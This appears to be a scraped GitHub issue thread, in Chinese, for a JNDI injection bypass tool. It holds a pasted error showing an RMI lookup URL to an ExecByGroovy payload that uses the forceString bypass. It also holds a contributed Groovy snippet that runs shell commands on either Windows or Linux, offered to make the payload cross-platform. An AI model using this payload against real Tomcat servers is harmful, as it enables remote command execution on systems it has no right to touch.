welk1n / jndi-injection-bypass Goto Github PK

在tomcat8测试ok，在tomcat7下，显示：
otSwappableTargetSource for target: String[BeanDefinitionStoreException: Invalid bean definition with name 'rmi://182.92.151.151:1097/ExecByGroovy' defined in JNDI environment: JNDI lookup failed; nested exception is javax.naming.NamingException: No set method found for property: forceString] = HotSwappableTargetSource for target: String[BeanDefinitionStoreException: Invalid bean definition with name 'rmi://:1097/ExecByGroovy' defined in JNDI environment: JNDI lookup failed; nested exception is javax.naming.NamingException: No set method found for property: forceString]
[2/2] HotSwappableTargetSource for target: 䕠���

在参考您的代码进行测试时，测试失败，仔细看了下，发现您的payload似乎只能针对linux，所以我在windows下进行测试自然无法测试成功。但是通过搜索资料，我发现似乎有一种更为通用的方法，可以兼容windows，代码如下，希望对您有用

if (System.properties['os.name'].toLowerCase().contains('windows')) {
    ['cmd','/C', '${cmd}'].execute();
} else {
    ['/bin/sh','-c', '${cmd}'].execute();
}

参考链接：
https://my.oschina.net/jjyuangu/blog/1815945
https://stackoverflow.com/questions/4689240/detecting-the-platform-window-or-linux-by-groovy-grails